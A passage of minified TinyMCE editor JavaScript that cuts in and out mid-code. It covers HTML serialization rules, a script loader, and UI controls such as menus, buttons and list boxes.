o=n.split(/\[|\]/),m;n="";f(o[1].split("|"),function(p){if(n){n+="|"}switch(p){case"%itrans":p=h;break;case"%itrans_na":p=h.substring(2);break;case"%istrict":p=l;break;case"%istrict_na":p=l.substring(2);break;case"%btrans":p=i;break;case"%bstrict":p=i;break}n+=p});m=new RegExp("^("+n.toLowerCase()+")$","i");f(o[0].split("/"),function(p){j.childRules=j.childRules||{};j.childRules[p]=m})});k="";f(j.childRules,function(n,m){if(k){k+="|"}k+=m});j.parentElementsRE=new RegExp("^("+k.toLowerCase()+")$","i")},setRules:function(i){var h=this;h._setup();h.rules={};h.wildRules=[];h.validElements={};return h.addRules(i)},addRules:function(i){var h=this,j;if(!i){return}h._setup();f(i.split(","),function(m){var q=m.split(/\[|\]/),l=q[0].split("/"),r,k,o,n=[];if(j){k=e.extend([],j.attribs)}if(q.length>1){f(q[1].split("|"),function(u){var p={},t;k=k||[];u=u.replace(/::/g,"~");u=/^([!\-])?([\w*.?~_\-]+|)([=:<])?(.+)?$/.exec(u);u[2]=u[2].replace(/~/g,":");if(u[1]=="!"){r=r||[];r.push(u[2])}if(u[1]=="-"){for(t=0;t<k.length;t++){if(k[t].name==u[2]){k.splice(t,1);return}}}switch(u[3]){case"=":p.defaultVal=u[4]||"";break;case":":p.forcedVal=u[4];break;case"<":p.validVals=u[4].split("?");break}if(/[*.?]/.test(u[2])){o=o||[];p.nameRE=new RegExp("^"+c(u[2])+"$");o.push(p)}else{p.name=u[2];k.push(p)}n.push(u[2])})}f(l,function(v,u){var w=v.charAt(0),t=1,p={};if(j){if(j.noEmpty){p.noEmpty=j.noEmpty}if(j.fullEnd){p.fullEnd=j.fullEnd}if(j.padd){p.padd=j.padd}}switch(w){case"-":p.noEmpty=true;break;case"+":p.fullEnd=true;break;case"#":p.padd=true;break;default:t=0}l[u]=v=v.substring(t);h.validElements[v]=1;if(/[*.?]/.test(l[0])){p.nameRE=new RegExp("^"+c(l[0])+"$");h.wildRules=h.wildRules||{};h.wildRules.push(p)}else{p.name=l[0];if(l[0]=="@"){j=p}h.rules[v]=p}p.attribs=k;if(r){p.requiredAttribs=r}if(o){v="";f(n,function(s){if(v){v+="|"}v+="("+c(s)+")"});p.validAttribsRE=new RegExp("^"+v.toLowerCase()+"$");p.wildAttribs=o}})});i="";f(h.validElements,function(m,l){if(i){i+="|"}if(l!="@"){i+=l}});h.validElementsRE=new RegExp("^("+c(i.toLowerCase())+")$")},findRule:function(m){var j=this,l=j.rules,h,k;j._setup();k=l[m];if(k){return k}l=j.wildRules;for(h=0;h<l.length;h++){if(l[h].nameRE.test(m)){return l[h]}}return null},findAttribRule:function(h,l){var j,k=h.wildAttribs;for(j=0;j<k.length;j++){if(k[j].nameRE.test(l)){return k[j]}}return null},serialize:function(l,k){var j,i=this;i._setup();k=k||{};k.format=k.format||"html";i.processObj=k;l=l.cloneNode(true);i.key=""+(parseInt(i.key)+1);if(!k.no_events){k.node=l;i.onPreProcess.dispatch(i,k)}i.writer.reset();i._serializeNode(l,k.getInner);k.content=i.writer.getContent();if(!k.no_events){i.onPostProcess.dispatch(i,k)}i._postProcess(k);k.node=null;return e.trim(k.content)},_postProcess:function(n){var i=this,k=i.settings,j=n.content,m=[],l;if(n.format=="html"){l=i._protect({content:j,patterns:[{pattern:/(<script[^>]*>)(.*?)(<\/script>)/g},{pattern:/(<style[^>]*>)(.*?)(<\/style>)/g},{pattern:/(<pre[^>]*>)(.*?)(<\/pre>)/g,encode:1},{pattern:/(<!--\[CDATA\[)(.*?)(\]\]-->)/g}]});j=l.content;if(k.entity_encoding!=="raw"){j=i._encode(j)}if(!n.set){j=j.replace(/<p>\s+<\/p>|<p([^>]+)>\s+<\/p>/g,k.entity_encoding=="numeric"?"<p$1>&#160;</p>":"<p$1>&nbsp;</p>");if(k.remove_linebreaks){j=j.replace(/\r?\n|\r/g," ");j=j.replace(/(<[^>]+>)\s+/g,"$1 ");j=j.replace(/\s+(<\/[^>]+>)/g," $1");j=j.replace(/<(p|h[1-6]|blockquote|hr|div|table|tbody|tr|td|body|head|html|title|meta|style|pre|script|link|object) ([^>]+)>\s+/g,"<$1 $2>");j=j.replace(/<(p|h[1-6]|blockquote|hr|div|table|tbody|tr|td|body|head|html|title|meta|style|pre|script|link|object)>\s+/g,"<$1>");j=j.replace(/\s+<\/(p|h[1-6]|blockquote|hr|div|table|tbody|tr|td|body|head|html|title|meta|style|pre|script|link|object)>/g,"</$1>")}if(k.apply_source_formatting&&k.indent_mode=="simple"){j=j.replace(/<(\/?)(ul|hr|table|meta|link|tbody|tr|object|body|head|html|map)(|[^>]+)>\s*/g,"\n<$1$2$3>\n");j=j.replace(/\s*<(p|h[1-6]|blockquote|div|title|style|pre|script|td|li|area)(|[^>]+)>/g,"\n<$1$2>");j=j.replace(/<\/(p|h[1-6]|blockquote|div|title|style|pre|script|td|li)>\s*/g,"</$1>\n");j=j.replace(/\n\n/g,"\n")}}j=i._unprotect(j,l);j=j.replace(/<!--\[CDATA\[([\s\S]+)\]\]-->/g,"<![CDATA[$1]]>");j=j.replace(/(type|language)=\"mce-/g,'$1="');if(k.entity_encoding=="raw"){j=j.replace(/<p>&nbsp;<\/p>|<p([^>]+)>&nbsp;<\/p>/g,"<p$1>\u00a0</p>")}}n.content=j},_serializeNode:function(D,o){var z=this,A=z.settings,x=z.writer,q,j,u,F,E,G,B,h,y,k,r,C,p,m;if(!A.node_filter||A.node_filter(D)){switch(D.nodeType){case 1:if(D.hasAttribute?D.hasAttribute("mce_bogus"):D.getAttribute("mce_bogus")){return}p=false;q=D.hasChildNodes();k=D.getAttribute("mce_name")||D.nodeName.toLowerCase();if(d){if(D.scopeName!=="HTML"&&D.scopeName!=="html"){k=D.scopeName+":"+k}}if(k.indexOf("mce:")===0){k=k.substring(4)}if(!z.validElementsRE||!z.validElementsRE.test(k)||(z.invalidElementsRE&&z.invalidElementsRE.test(k))||o){p=true;break}if(d){if(A.fix_content_duplication){if(D.mce_serialized==z.key){return}D.mce_serialized=z.key}if(k.charAt(0)=="/"){k=k.substring(1)}}else{if(a){if(D.nodeName==="BR"&&D.getAttribute("type")=="_moz"){return}}}if(z.childRules){if(z.parentElementsRE.test(z.elementName)){if(!z.childRules[z.elementName].test(k)){p=true;break}}z.elementName=k}r=z.findRule(k);k=r.name||k;m=A.closed.test(k);if((!q&&r.noEmpty)||(d&&!k)){p=true;break}if(r.requiredAttribs){G=r.requiredAttribs;for(F=G.length-1;F>=0;F--){if(this.dom.getAttrib(D,G[F])!==""){break}}if(F==-1){p=true;break}}x.writeStartElement(k);if(r.attribs){for(F=0,B=r.attribs,E=B.length;F<E;F++){G=B[F];y=z._getAttrib(D,G);if(y!==null){x.writeAttribute(G.name,y)}}}if(r.validAttribsRE){B=z.dom.getAttribs(D);for(F=B.length-1;F>-1;F--){h=B[F];if(h.specified){G=h.nodeName.toLowerCase();if(A.invalid_attrs.test(G)||!r.validAttribsRE.test(G)){continue}C=z.findAttribRule(r,G);y=z._getAttrib(D,C,G);if(y!==null){x.writeAttribute(G,y)}}}}if(k==="script"&&e.trim(D.innerHTML)){x.writeText("// ");x.writeCDATA(D.innerHTML.replace(/<!--|-->|<\[CDATA\[|\]\]>/g,""));q=false;break}if(r.padd){if(q&&(u=D.firstChild)&&u.nodeType===1&&D.childNodes.length===1){if(u.hasAttribute?u.hasAttribute("mce_bogus"):u.getAttribute("mce_bogus")){x.writeText("\u00a0")}}else{if(!q){x.writeText("\u00a0")}}}break;case 3:if(z.childRules&&z.parentElementsRE.test(z.elementName)){if(!z.childRules[z.elementName].test(D.nodeName)){return}}return x.writeText(D.nodeValue);case 4:return x.writeCDATA(D.nodeValue);case 8:return x.writeComment(D.nodeValue)}}else{if(D.nodeType==1){q=D.hasChildNodes()}}if(q&&!m){u=D.firstChild;while(u){z._serializeNode(u);z.elementName=k;u=u.nextSibling}}if(!p){if(!m){x.writeFullEndElement()}else{x.writeEndElement()}}},_protect:function(j){var i=this;j.items=j.items||[];function h(l){return l.replace(/[\r\n\\]/g,function(m){if(m==="\n"){return"\\n"}else{if(m==="\\"){return"\\\\"}}return"\\r"})}function k(l){return l.replace(/\\[\\rn]/g,function(m){if(m==="\\n"){return"\n"}else{if(m==="\\\\"){return"\\"}}return"\r"})}f(j.patterns,function(l){j.content=k(h(j.content).replace(l.pattern,function(n,o,m,p){m=k(m);if(l.encode){m=i._encode(m)}j.items.push(m);return o+"<!--mce:"+(j.items.length-1)+"-->"+p}))});return j},_unprotect:function(i,j){i=i.replace(/\<!--mce:([0-9]+)--\>/g,function(k,h){return j.items[parseInt(h)]});j.items=[];return i},_encode:function(m){var j=this,k=j.settings,i;if(k.entity_encoding!=="raw"){if(k.entity_encoding.indexOf("named")!=-1){j.setEntities(k.entities);i=j.entityLookup;m=m.replace(j.entitiesRE,function(h){var l;if(l=i[h]){h="&"+l+";"}return h})}if(k.entity_encoding.indexOf("numeric")!=-1){m=m.replace(/[\u007E-\uFFFF]/g,function(h){return"&#"+h.charCodeAt(0)+";"})}}return m},_setup:function(){var h=this,i=this.settings;if(h.done){return}h.done=1;h.setRules(i.valid_elements);h.addRules(i.extended_valid_elements);h.addValidChildRules(i.valid_child_elements);if(i.invalid_elements){h.invalidElementsRE=new RegExp("^("+c(i.invalid_elements.replace(/,/g,"|").toLowerCase())+")$")}if(i.attrib_value_filter){h.attribValueFilter=i.attribValueFilter}},_getAttrib:function(m,j,h){var l,k;h=h||j.name;if(j.forcedVal&&(k=j.forcedVal)){if(k==="{$uid}"){return this.dom.uniqueId()}return k}k=this.dom.getAttrib(m,h);if(this.settings.bool_attrs.test(h)&&k){k=(""+k).toLowerCase();if(k==="false"||k==="0"){return null}k=h}switch(h){case"rowspan":case"colspan":if(k=="1"){k=""}break}if(this.attribValueFilter){k=this.attribValueFilter(h,k,m)}if(j.validVals){for(l=j.validVals.length-1;l>=0;l--){if(k==j.validVals[l]){break}}if(l==-1){return null}}if(k===""&&typeof(j.defaultVal)!="undefined"){k=j.defaultVal;if(k==="{$uid}"){return this.dom.uniqueId()}return k}else{if(h=="class"&&this.processObj.get){k=k.replace(/\s?mceItem\w+\s?/g,"")}}if(k===""){return null}return k}})})(tinymce);(function(tinymce){var each=tinymce.each,Event=tinymce.dom.Event;tinymce.create("tinymce.dom.ScriptLoader",{ScriptLoader:function(s){this.settings=s||{};this.queue=[];this.lookup={}},isDone:function(u){return this.lookup[u]?this.lookup[u].state==2:0},markDone:function(u){this.lookup[u]={state:2,url:u}},add:function(u,cb,s,pr){var t=this,lo=t.lookup,o;if(o=lo[u]){if(cb&&o.state==2){cb.call(s||this)}return o}o={state:0,url:u,func:cb,scope:s||this};if(pr){t.queue.unshift(o)}else{t.queue.push(o)}lo[u]=o;return o},load:function(u,cb,s){var t=this,o;if(o=t.lookup[u]){if(cb&&o.state==2){cb.call(s||t)}return o}function loadScript(u){if(Event.domLoaded||t.settings.strict_mode){tinymce.util.XHR.send({url:tinymce._addVer(u),error:t.settings.error,async:false,success:function(co){t.eval(co)}})}else{document.write('<script type="text/javascript" src="'+tinymce._addVer(u)+'"><\/script>')}}if(!tinymce.is(u,"string")){each(u,function(u){loadScript(u)});if(cb){cb.call(s||t)}}else{loadScript(u);if(cb){cb.call(s||t)}}},loadQueue:function(cb,s){var t=this;if(!t.queueLoading){t.queueLoading=1;t.queueCallbacks=[];t.loadScripts(t.queue,function(){t.queueLoading=0;if(cb){cb.call(s||t)}each(t.queueCallbacks,function(o){o.func.call(o.scope)})})}else{if(cb){t.queueCallbacks.push({func:cb,scope:s||t})}}},eval:function(co){var w=window;if(!w.execScript){try{eval.call(w,co)}catch(ex){eval(co,w)}}else{w.execScript(co)}},loadScripts:function(sc,cb,s){var t=this,lo=t.lookup;function done(o){o.state=2;if(o.func){o.func.call(o.scope||t)}}function allDone(){var l;l=sc.length;each(sc,function(o){o=lo[o.url];if(o.state===2){done(o);l--}else{load(o)}});if(l===0&&cb){cb.call(s||t);cb=0}}function load(o){if(o.state>0){return}o.state=1;tinymce.dom.ScriptLoader.loadScript(o.url,function(){done(o);allDone()})}each(sc,function(o){var u=o.url;if(!lo[u]){lo[u]=o;t.queue.push(o)}else{o=lo[u]}if(o.state>0){return}if(!Event.domLoaded&&!t.settings.strict_mode){var ix,ol="";if(cb||o.func){o.state=1;ix=tinymce.dom.ScriptLoader._addOnLoad(function(){done(o);allDone()});if(tinymce.isIE){ol=' onreadystatechange="'}else{ol=' onload="'}ol+="tinymce.dom.ScriptLoader._onLoad(this,'"+u+"',"+ix+');"'}document.write('<script type="text/javascript" src="'+tinymce._addVer(u)+'"'+ol+"><\/script>");if(!o.func){done(o)}}else{load(o)}});allDone()},"static":{_addOnLoad:function(f){var t=this;t._funcs=t._funcs||[];t._funcs.push(f);return t._funcs.length-1},_onLoad:function(e,u,ix){if(!tinymce.isIE||e.readyState=="complete"){this._funcs[ix].call(this)}},loadScript:function(u,cb){var id=tinymce.DOM.uniqueId(),e;function done(){Event.clear(id);tinymce.DOM.remove(id);if(cb){cb.call(document,u);cb=0}}if(tinymce.isIE){tinymce.util.XHR.send({url:tinymce._addVer(u),async:false,success:function(co){window.execScript(co);done()}})}else{e=tinymce.DOM.create("script",{id:id,type:"text/javascript",src:tinymce._addVer(u)});Event.add(e,"load",done);(document.getElementsByTagName("head")[0]||document.body).appendChild(e)}}}});tinymce.ScriptLoader=new tinymce.dom.ScriptLoader()})(tinymce);(function(c){var b=c.DOM,a=c.is;c.create("tinymce.ui.Control",{Control:function(e,d){this.id=e;this.settings=d=d||{};this.rendered=false;this.onRender=new c.util.Dispatcher(this);this.classPrefix="";this.scope=d.scope||this;this.disabled=0;this.active=0},setDisabled:function(d){var f;if(d!=this.disabled){f=b.get(this.id);if(f&&this.settings.unavailable_prefix){if(d){this.prevTitle=f.title;f.title=this.settings.unavailable_prefix+": "+f.title}else{f.title=this.prevTitle}}this.setState("Disabled",d);this.setState("Enabled",!d);this.disabled=d}},isDisabled:function(){return this.disabled},setActive:function(d){if(d!=this.active){this.setState("Active",d);this.active=d}},isActive:function(){return this.active},setState:function(f,d){var e=b.get(this.id);f=this.classPrefix+f;if(d){b.addClass(e,f)}else{b.removeClass(e,f)}},isRendered:function(){return this.rendered},renderHTML:function(){},renderTo:function(d){b.setHTML(d,this.renderHTML())},postRender:function(){var e=this,d;if(a(e.disabled)){d=e.disabled;e.disabled=-1;e.setDisabled(d)}if(a(e.active)){d=e.active;e.active=-1;e.setActive(d)}},remove:function(){b.remove(this.id);this.destroy()},destroy:function(){c.dom.Event.clear(this.id)}})})(tinymce);tinymce.create("tinymce.ui.Container:tinymce.ui.Control",{Container:function(b,a){this.parent(b,a);this.controls=[];this.lookup={}},add:function(a){this.lookup[a.id]=a;this.controls.push(a);return a},get:function(a){return this.lookup[a]}});tinymce.create("tinymce.ui.Separator:tinymce.ui.Control",{Separator:function(b,a){this.parent(b,a);this.classPrefix="mceSeparator"},renderHTML:function(){return tinymce.DOM.createHTML("span",{"class":this.classPrefix})}});(function(d){var c=d.is,b=d.DOM,e=d.each,a=d.walk;d.create("tinymce.ui.MenuItem:tinymce.ui.Control",{MenuItem:function(g,f){this.parent(g,f);this.classPrefix="mceMenuItem"},setSelected:function(f){this.setState("Selected",f);this.selected=f},isSelected:function(){return this.selected},postRender:function(){var f=this;f.parent();if(c(f.selected)){f.setSelected(f.selected)}}})})(tinymce);(function(d){var c=d.is,b=d.DOM,e=d.each,a=d.walk;d.create("tinymce.ui.Menu:tinymce.ui.MenuItem",{Menu:function(h,g){var f=this;f.parent(h,g);f.items={};f.collapsed=false;f.menuCount=0;f.onAddItem=new d.util.Dispatcher(this)},expand:function(g){var f=this;if(g){a(f,function(h){if(h.expand){h.expand()}},"items",f)}f.collapsed=false},collapse:function(g){var f=this;if(g){a(f,function(h){if(h.collapse){h.collapse()}},"items",f)}f.collapsed=true},isCollapsed:function(){return this.collapsed},add:function(f){if(!f.settings){f=new d.ui.MenuItem(f.id||b.uniqueId(),f)}this.onAddItem.dispatch(this,f);return this.items[f.id]=f},addSeparator:function(){return this.add({separator:true})},addMenu:function(f){if(!f.collapse){f=this.createMenu(f)}this.menuCount++;return this.add(f)},hasMenus:function(){return this.menuCount!==0},remove:function(f){delete this.items[f.id]},removeAll:function(){var f=this;a(f,function(g){if(g.removeAll){g.removeAll()}else{g.remove()}g.destroy()},"items",f);f.items={}},createMenu:function(g){var f=new d.ui.Menu(g.id||b.uniqueId(),g);f.onAddItem.add(this.onAddItem.dispatch,this.onAddItem);return f}})})(tinymce);(function(e){var d=e.is,c=e.DOM,f=e.each,a=e.dom.Event,b=e.dom.Element;e.create("tinymce.ui.DropMenu:tinymce.ui.Menu",{DropMenu:function(h,g){g=g||{};g.container=g.container||c.doc.body;g.offset_x=g.offset_x||0;g.offset_y=g.offset_y||0;g.vp_offset_x=g.vp_offset_x||0;g.vp_offset_y=g.vp_offset_y||0;if(d(g.icons)&&!g.icons){g["class"]+=" mceNoIcons"}this.parent(h,g);this.onShowMenu=new e.util.Dispatcher(this);this.onHideMenu=new e.util.Dispatcher(this);this.classPrefix="mceMenu"},createMenu:function(j){var h=this,i=h.settings,g;j.container=j.container||i.container;j.parent=h;j.constrain=j.constrain||i.constrain;j["class"]=j["class"]||i["class"];j.vp_offset_x=j.vp_offset_x||i.vp_offset_x;j.vp_offset_y=j.vp_offset_y||i.vp_offset_y;g=new e.ui.DropMenu(j.id||c.uniqueId(),j);g.onAddItem.add(h.onAddItem.dispatch,h.onAddItem);return g},update:function(){var i=this,j=i.settings,g=c.get("menu_"+i.id+"_tbl"),l=c.get("menu_"+i.id+"_co"),h,k;h=j.max_width?Math.min(g.clientWidth,j.max_width):g.clientWidth;k=j.max_height?Math.min(g.clientHeight,j.max_height):g.clientHeight;if(!c.boxModel){i.element.setStyles({width:h+2,height:k+2})}else{i.element.setStyles({width:h,height:k})}if(j.max_width){c.setStyle(l,"width",h)}if(j.max_height){c.setStyle(l,"height",k);if(g.clientHeight<j.max_height){c.setStyle(l,"overflow","hidden")}}},showMenu:function(p,n,r){var z=this,A=z.settings,o,g=c.getViewPort(),u,l,v,q,i=2,k,j,m=z.classPrefix;z.collapse(1);if(z.isMenuVisible){return}if(!z.rendered){o=c.add(z.settings.container,z.renderNode());f(z.items,function(h){h.postRender()});z.element=new b("menu_"+z.id,{blocker:1,container:A.container})}else{o=c.get("menu_"+z.id)}if(!e.isOpera){c.setStyles(o,{left:-65535,top:-65535})}c.show(o);z.update();p+=A.offset_x||0;n+=A.offset_y||0;g.w-=4;g.h-=4;if(A.constrain){u=o.clientWidth-i;l=o.clientHeight-i;v=g.x+g.w;q=g.y+g.h;if((p+A.vp_offset_x+u)>v){p=r?r-u:Math.max(0,(v-A.vp_offset_x)-u)}if((n+A.vp_offset_y+l)>q){n=Math.max(0,(q-A.vp_offset_y)-l)}}c.setStyles(o,{left:p,top:n});z.element.update();z.isMenuVisible=1;z.mouseClickFunc=a.add(o,"click",function(s){var h;s=s.target;if(s&&(s=c.getParent(s,"tr"))&&!c.hasClass(s,m+"ItemSub")){h=z.items[s.id];if(h.isDisabled()){return}k=z;while(k){if(k.hideMenu){k.hideMenu()}k=k.settings.parent}if(h.settings.onclick){h.settings.onclick(s)}return a.cancel(s)}});if(z.hasMenus()){z.mouseOverFunc=a.add(o,"mouseover",function(w){var h,t,s;w=w.target;if(w&&(w=c.getParent(w,"tr"))){h=z.items[w.id];if(z.lastMenu){z.lastMenu.collapse(1)}if(h.isDisabled()){return}if(w&&c.hasClass(w,m+"ItemSub")){t=c.getRect(w);h.showMenu((t.x+t.w-i),t.y-i,t.x);z.lastMenu=h;c.addClass(c.get(h.id).firstChild,m+"ItemActive")}}})}z.onShowMenu.dispatch(z);if(A.keyboard_focus){a.add(o,"keydown",z._keyHandler,z);c.select("a","menu_"+z.id)[0].focus();z._focusIdx=0}},hideMenu:function(j){var g=this,i=c.get("menu_"+g.id),h;if(!g.isMenuVisible){return}a.remove(i,"mouseover",g.mouseOverFunc);a.remove(i,"click",g.mouseClickFunc);a.remove(i,"keydown",g._keyHandler);c.hide(i);g.isMenuVisible=0;if(!j){g.collapse(1)}if(g.element){g.element.hide()}if(h=c.get(g.id)){c.removeClass(h.firstChild,g.classPrefix+"ItemActive")}g.onHideMenu.dispatch(g)},add:function(i){var g=this,h;i=g.parent(i);if(g.isRendered&&(h=c.get("menu_"+g.id))){g._add(c.select("tbody",h)[0],i)}return i},collapse:function(g){this.parent(g);this.hideMenu(1)},remove:function(g){c.remove(g.id);this.destroy();return this.parent(g)},destroy:function(){var g=this,h=c.get("menu_"+g.id);a.remove(h,"mouseover",g.mouseOverFunc);a.remove(h,"click",g.mouseClickFunc);if(g.element){g.element.remove()}c.remove(h)},renderNode:function(){var i=this,j=i.settings,l,h,k,g;g=c.create("div",{id:"menu_"+i.id,"class":j["class"],style:"position:absolute;left:0;top:0;z-index:200000"});k=c.add(g,"div",{id:"menu_"+i.id+"_co","class":i.classPrefix+(j["class"]?" "+j["class"]:"")});i.element=new b("menu_"+i.id,{blocker:1,container:j.container});if(j.menu_line){c.add(k,"span",{"class":i.classPrefix+"Line"})}l=c.add(k,"table",{id:"menu_"+i.id+"_tbl",border:0,cellPadding:0,cellSpacing:0});h=c.add(l,"tbody");f(i.items,function(m){i._add(h,m)});i.rendered=true;return g},_keyHandler:function(j){var i=this,h=j.keyCode;function g(m){var k=i._focusIdx+m,l=c.select("a","menu_"+i.id)[k];if(l){i._focusIdx=k;l.focus()}}switch(h){case 38:g(-1);return;case 40:g(1);return;case 13:return;case 27:return this.hideMenu()}},_add:function(j,h){var i,q=h.settings,p,l,k,m=this.classPrefix,g;if(q.separator){l=c.add(j,"tr",{id:h.id,"class":m+"ItemSeparator"});c.add(l,"td",{"class":m+"ItemSeparator"});if(i=l.previousSibling){c.addClass(i,"mceLast")}return}i=l=c.add(j,"tr",{id:h.id,"class":m+"Item "+m+"ItemEnabled"});i=k=c.add(i,"td");i=p=c.add(i,"a",{href:"javascript:;",onclick:"return false;",onmousedown:"return false;"});c.addClass(k,q["class"]);g=c.add(i,"span",{"class":"mceIcon"+(q.icon?" mce_"+q.icon:"")});if(q.icon_src){c.add(g,"img",{src:q.icon_src})}i=c.add(i,q.element||"span",{"class":"mceText",title:h.settings.title},h.settings.title);if(h.settings.style){c.setAttrib(i,"style",h.settings.style)}if(j.childNodes.length==1){c.addClass(l,"mceFirst")}if((i=l.previousSibling)&&c.hasClass(i,m+"ItemSeparator")){c.addClass(l,"mceFirst")}if(h.collapse){c.addClass(l,m+"ItemSub")}if(i=l.previousSibling){c.removeClass(i,"mceLast")}c.addClass(l,"mceLast")}})})(tinymce);(function(b){var a=b.DOM;b.create("tinymce.ui.Button:tinymce.ui.Control",{Button:function(d,c){this.parent(d,c);this.classPrefix="mceButton"},renderHTML:function(){var f=this.classPrefix,e=this.settings,d,c;c=a.encode(e.label||"");d='<a id="'+this.id+'" href="javascript:;" class="'+f+" "+f+"Enabled "+e["class"]+(c?" "+f+"Labeled":"")+'" onmousedown="return false;" onclick="return false;" title="'+a.encode(e.title)+'">';if(e.image){d+='<img class="mceIcon" src="'+e.image+'" />'+c+"</a>"}else{d+='<span class="mceIcon '+e["class"]+'"></span>'+(c?'<span class="'+f+'Label">'+c+"</span>":"")+"</a>"}return d},postRender:function(){var c=this,d=c.settings;b.dom.Event.add(c.id,"click",function(f){if(!c.isDisabled()){return d.onclick.call(d.scope,f)}})}})})(tinymce);(function(d){var c=d.DOM,b=d.dom.Event,e=d.each,a=d.util.Dispatcher;d.create("tinymce.ui.ListBox:tinymce.ui.Control",{ListBox:function(h,g){var f=this;f.parent(h,g);f.items=[];f.onChange=new a(f);f.onPostRender=new a(f);f.onAdd=new a(f);f.onRenderMenu=new d.util.Dispatcher(this);f.classPrefix="mceListBox"},select:function(h){var g=this,j,i;if(h==undefined){return g.selectByIndex(-1)}if(h&&h.call){i=h}else{i=function(f){return f==h}}if(h!=g.selectedValue){e(g.items,function(k,f){if(i(k.value)){j=1;g.selectByIndex(f);return false}});if(!j){g.selectByIndex(-1)}}},selectByIndex:function(f){var g=this,h,i;if(f!=g.selectedIndex){h=c.get(g.id+"_text");i=g.items[f];if(i){g.selectedValue=i.value;g.selectedIndex=f;c.setHTML(h,c.encode(i.title));c.removeClass(h,"mceTitle")}else{c.setHTML(h,c.encode(g.settings.title));c.addClass(h,"mceTitle");g.selectedValue=g.selectedIndex=null}h=0}},add:function(i,f,h){var g=this;h=h||{};h=d.extend(h,{title:i,value:f});g.items.push(h);g.onAdd.dispatch(g,h)},getLength:function(){return this.items.length},renderHTML:function(){var i="",f=this,g=f.settings,j=f.classPrefix;i='<table id="'+f.id+'" cellpadding="0" cellspacing="0" class="'+j+" "+j+"Enabled"+(g["class"]?(" "+g["class"]):"")+'"><tbody><tr>';i+="<td>"+c.createHTML("a",{id:f.id+"_text",href:"javascript:;","class":"mceText",onclick:"return false;",onmousedown:"return false;"},c.encode(f.settings.title))+"</td>";i+="<td>"+c.createHTML("a",{id:f.id+"_open",tabindex:-1,href:"javascript:;","class":"mceOpen",onclick:"return false;",onmousedown:"return false;"},"<span></span>")+"</td>";i+="</tr></tbody></table>";return i},showMenu:function(){var g=this,j,i,h=c.get(this.id),f;if(g.isDisabled()||g.items.length==0){return}if(g.menu&&g.menu.isMenuVisible){return g.hideMenu()}if(!g.isMenuRendered){g.renderMenu();g.isMenuRendered=true}j=c.getPos(this.settings.menu_container);i=c.getPos(h);f=g.menu;f.settings.offset_x=i.x;f.settings.offset_y=i.y;f.settings.keyboard_focus=!d.isOpera;if(g.oldID){f.items[g.oldID].setSelected(0)}e(g.items,function(k){if(k.value===g.selectedValue){f.items[k.id].setSelected(1);g.oldID=k.id}});f.showMenu(0,h.clientHeight);b.add(c.doc,"mousedown",g.hideMenu,g);c.addClass(g.id,g.classPrefix+"Selected")},hideMenu:function(g){var f=this;if(g&&g.type=="mousedown"&&(g.target.id==f.id+"_text"||g.target.id==f.id+"_open")){return}if(!g||!c.getParent(g.target,".mceMenu")){c.removeClass(f.id,f.classPrefix+"Selected");b.remove(c.doc,"mousedown",f.hideMenu,f);if(f.menu){f.menu.hideMenu()}}},renderMenu:function(){var g=this,f;f=g.settings.control_manager.createDropMenu(g.id+"_menu",{menu_line:1,"class":g.classPrefix+"Menu mceNoIcons",max_width:150,max_height:150});f.onHideMenu.add(g.hideMenu,g);f.add({title:g.settings.title,"class":"mceMenuItemTitle",onclick:function(){if(g.settings.onselect("")!==false){g.select("")}}});e(g.items,function(h){h.id=c.uniqueId();h.onclick=function(){if(g.settings.onselect(h.value)!==false){g.select(h.value)}};f.add(h)});g.onRenderMenu.dispatch(g,f);g.menu=f},postRender:function(){var f=this,g=f.classPrefix;b.add(f.id,"click",f.showMenu,f);b.add(f.id+"_text","focus",function(h){if(!f._focused){f.keyDownHandler=b.add(f.id+"_text","keydown",function(l){var i=-1,j,k=l.keyCode;e(f.items,function(m,n){if(f.selectedValue==m.value){i=n}});if(k==38){j=f.items[i-1]}else{if(k==40){j=f.items[i+1]}else{if(k==13){j=f.selectedValue;f.selectedValue=null;f.settings.onselect(j);return b.cancel(l)}}}if(j){f.hideMenu();f.select(j.value)}})}f._focused=1});b.add(f.id+"_text","blur",function(){b.remove(f.id+"_text","keydown",f.keyDownHandler);f._focused=0});if(d.isIE6||!c.boxModel){b.add(f.id,"mouseover",function(){if(!c.hasClass(f.id,g+"Disabled")){c.addClass(f.id,g+"Hover")}});b.add(f.id,"mouseout",function(){if(!c.hasClass(f.id,g+"Disabled")){c.removeClass(f.id,g+"Hover")}})}f.onPostRender.dispatch(f,c.get(f.id))},destroy:function(){this.parent();b.clear(this.id+"_text")}})})(tinymce);(function(d){var c=d.DOM,b=d.dom.Event,e=d.each,a=d.util.Dispatcher;d.create("tinymce.ui.NativeListBox:tinymce.ui.ListBox",{NativeListBox:function(g,f){this.parent(g,f);this.classPrefix="mceNativeListBox"},setDisabled:function(f){c.get(this.id).disabled=f},isDisabled:function(){return c.get(this.id).disabled},select:function(h){var g=this,j,i;if(h==undefined){return g.selectByIndex(-1)}if(h&&h.call){i=h}else{i=function(f){return f==h}}if(h!=g.selectedValue){e(g.items,function(k,f){if(i(k.value)){j=1;g.selectByIndex(f);return false}});if(!j){g.selectByIndex(-1)}}},selectByIndex:function(f){c.get(this.id).selectedIndex=f+1;this.selectedValue=this.items[f]?this.items[f].value:null},add:function(j,g,f){var i,h=this;f=f||{};f.value=g;if(h.isRendered()){c.add(c.get(this.id),"option",f,j)}i={title:j,value:g,attribs:f};h.items.push(i);h.onAdd.dispatch(h,i)},getLength:function(){return c.get(this.id).options.length-1},renderHTML:function(){var g,f=this;g=c.createHTML("option",{value:""},"-- "+f.settings.title+" --");e(f.items,function(h){g+=c.createHTML("option",{value:h.value},h.title)});g=c.createHTML("select",{id:f.id,"class":"mceNativeListBox"},g);return g},postRender:function(){var g=this,h;g.rendered=true;function f(j){var i=g.items[j.target.selectedIndex-1];if(i&&(i=i.value)){g.onChange.dispatch(g,i);if(g.settings.onselect){g.settings.onselect(i)}}}b.add(g.id,"change",f);b.add(g.id,"keydown",function(j){var i;b.remove(g.id,"change",h);i=b.add(g.id,"blur",function(){b.add(g.id,"change",f);b.remove(g.id,"blur",i)});if(j.keyCode==13||j.keyCode==32){f(j);return b.cancel(j)}});g.onPostRender.dispatch(g,c.get(g.id))}})})(tinymce);(function(c){var b=c.DOM,a=c.dom.Event,d=c.each;c.create("tinymce.ui.MenuButton:tinymce.ui.Button",{MenuButton:function(f,e){this.parent(f,e);this.onRenderMenu=new c.util.Dispatcher(this);e.menu_container=e.menu_container||b.doc.body},showMenu:function(){var 